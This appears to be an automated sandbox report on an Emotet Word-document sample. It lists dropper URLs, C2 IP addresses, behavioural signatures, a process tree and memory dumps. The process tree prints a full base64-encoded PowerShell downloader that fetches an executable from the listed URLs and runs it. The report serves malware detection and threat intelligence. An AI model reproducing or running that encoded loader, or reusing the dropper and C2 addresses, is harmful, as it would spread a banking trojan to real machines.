Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    137s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    12/08/2020, 23:03

Sharing

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General

  • Target
    emotet_e3_b858572fbe695215c2aa6ade7ada24c980392ad2f5c9e3564d4e6446ef424383_2020-08-12__230225._doc.doc
  • Size 230KB
  • Sample200812-pdahbcjk6e
  • SHA256 b858572fbe695215c2aa6ade7ada24c980392ad2f5c9e3564d4e6446ef424383
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://www.agenciaeureka.com.br/assinaturas/jXLI/
  • exe.dropper

    http://www.bap-host.com/COPYRIGHT/ehtw3u2zpwx97815/
  • exe.dropper

    http://ora-ks.com/BACKUPS/M8hgn2sqa0eqm076/
  • exe.dropper

    http://michaelsteinfeld.com/cgi-bin/hkXmR/
  • exe.dropper

    https://pwiic.com/Cache/multipharma.pwiic.loc/MpzUrA/

Extracted

Family

  • emotet

C2

  • 176.216.226.44:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 87.106.231.60:8080

  • 113.161.148.81:80

  • 78.189.60.109:443

  • 192.163.221.191:8080

  • 31.146.61.34:80

  • 37.70.131.107:80

  • 153.220.182.49:80

  • 177.144.130.105:443

  • 181.167.35.84:80

  • 202.5.47.71:80

  • 192.241.220.183:8080

  • 78.188.170.128:80

  • 182.176.95.147:80

  • 87.252.100.28:80

  • 115.78.11.155:80

  • 212.156.133.218:80

  • 203.153.216.178:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_b858572fbe695215c2aa6ade7ada24c980392ad2f5c9e3564d4e6446ef424383_2020-08-12__230225._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1432
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABRAFYASABUAEkAaQB2AHQAPQAnAFMAWQBTAFUAUgBpAGkAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAFUAUgBJAHQAeQBQAFIATwBgAFQAYABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABOAEYAQQBMAEwAaAB4AHAAIAA9ACAAJwAyADQANQAnADsAJABSAEwAQQBSAEwAZgBwAGoAPQAnAFcAVABZAFgATwByAHMAbAAnADsAJABDAFEATwBZAFcAcgBlAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE4ARgBBAEwATABoAHgAcAArACcALgBlAHgAZQAnADsAJABJAEgARwBDAEQAeABtAHIAPQAnAFMATgBTAEMATABiAHcAeAAnADsAJABUAFYARABBAE8AaQBjAHgAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAGIAYwBMAEkAZQBOAFQAOwAkAFEASABTAFYAQgBhAGMAcAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQBnAGUAbgBjAGkAYQBlAHUAcgBlAGsAYQAuAGMAbwBtAC4AYgByAC8AYQBzAHMAaQBuAGEAdAB1AHIAYQBzAC8AagBYAEwASQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAYQBwAC0AaABvAHMAdAAuAGMAbwBtAC8AQwBPAFAAWQBSAEkARwBIAFQALwBlAGgAdAB3ADMAdQAyAHoAcAB3AHgAOQA3ADgAMQA1AC8AKgBoAHQAdABwADoALwAvAG8AcgBhAC0AawBzAC4AYwBvAG0ALwBCAEEAQwBLAFUAUABTAC8ATQA4AGgAZwBuADIAcwBxAGEAMABlAHEAbQAwADcANgAvACoAaAB0AHQAcAA6AC8ALwBtAGkAYwBoAGEAZQBsAHMAdABlAGkAbgBmAGUAbABkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AaABrAFgAbQBSAC8AKgBoAHQAdABwAHMAOgAvAC8AcAB3AGkAaQBjAC4AYwBvAG0ALwBDAGEAYwBoAGUALwBtAHUAbAB0AGkAcABoAGEAcgBtAGEALgBwAHcAaQBpAGMALgBsAG8AYwAvAE0AcAB6AFUAcgBBAC8AJwAuACIAUwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAEQAVgBOAFQAeQBiAHcAPQAnAFUAQQBFAEQAWQB4AHEAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQASABGAEYAVgBEAGkAaQBnACAAaQBuACAAJABRAEgAUwBWAEIAYQBjAHAAKQB7AHQAcgB5AHsAJABUAFYARABBAE8AaQBjAHgALgAiAEQATwB3AG4ATABvAGAAQQBEAGYAYABpAGAATABlACIAKAAkAEgARgBGAFYARABpAGkAZwAsACAAJABDAFEATwBZAFcAcgBlAHEAKQA7ACQAVQBPAEkARABGAHQAZAB4AD0AJwBDAFUASQBXAEIAcQBsAGQAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDAFEATwBZAFcAcgBlAHEAKQAuACIAbABlAGAATgBnAHQASAAiACAALQBnAGUAIAAyADUAOAA1ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBgAFQARQAiACgAJABDAFEATwBZAFcAcgBlAHEAKQA7ACQAVQBPAEgAQgBHAHcAcwByAD0AJwBPAE8AVgBMAFMAZABiAGkAJwA7AGIAcgBlAGEAawA7ACQATQBZAEIASwBXAGMAeQBjAD0AJwBYAFoATgBSAFYAcAB1AHgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBOAEIARwBOAGMAZgBpAD0AJwBIAEkAUABUAFoAaQBuAHIAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1388
  • C:\Users\Admin\245.exe
    C:\Users\Admin\245.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1296
    • C:\Windows\SysWOW64\bcryptprimitives\NlsLexicons0021.exe
      "C:\Windows\SysWOW64\bcryptprimitives\NlsLexicons0021.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1756

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1296-19-0x00000000002B0000-0x00000000002BC000-memory.dmp
        Download

        memory/1356-24-0x000007FEE4E10000-0x000007FEE508A000-memory.dmp
        Download

        memory/1388-13-0x000000001AE70000-0x000000001AE71000-memory.dmp
        Download

        memory/1388-15-0x0000000002810000-0x0000000002811000-memory.dmp
        Download

        memory/1388-17-0x000000001AC50000-0x000000001AC51000-memory.dmp
        Download

        memory/1388-9-0x000007FEE9970000-0x000007FEEA35C000-memory.dmp
        Download

        memory/1388-12-0x00000000023D0000-0x00000000023D1000-memory.dmp
        Download

        memory/1388-16-0x000000001C3D0000-0x000000001C3D1000-memory.dmp
        Download

        memory/1388-14-0x00000000025A0000-0x00000000025A1000-memory.dmp
        Download

        memory/1432-2-0x0000000008960000-0x0000000008964000-memory.dmp
        Download

        memory/1432-8-0x0000000007150000-0x0000000007350000-memory.dmp
        Download

        memory/1432-10-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1432-7-0x0000000007150000-0x0000000007350000-memory.dmp
        Download

        memory/1432-6-0x000000000BAB0000-0x000000000BAB4000-memory.dmp
        Download

        memory/1432-5-0x000000000AA30000-0x000000000AA34000-memory.dmp
        Download

        memory/1432-4-0x0000000007150000-0x0000000007350000-memory.dmp
        Download

        memory/1432-3-0x0000000007150000-0x0000000007350000-memory.dmp
        Download

        memory/1756-23-0x0000000000390000-0x000000000039C000-memory.dmp
        Download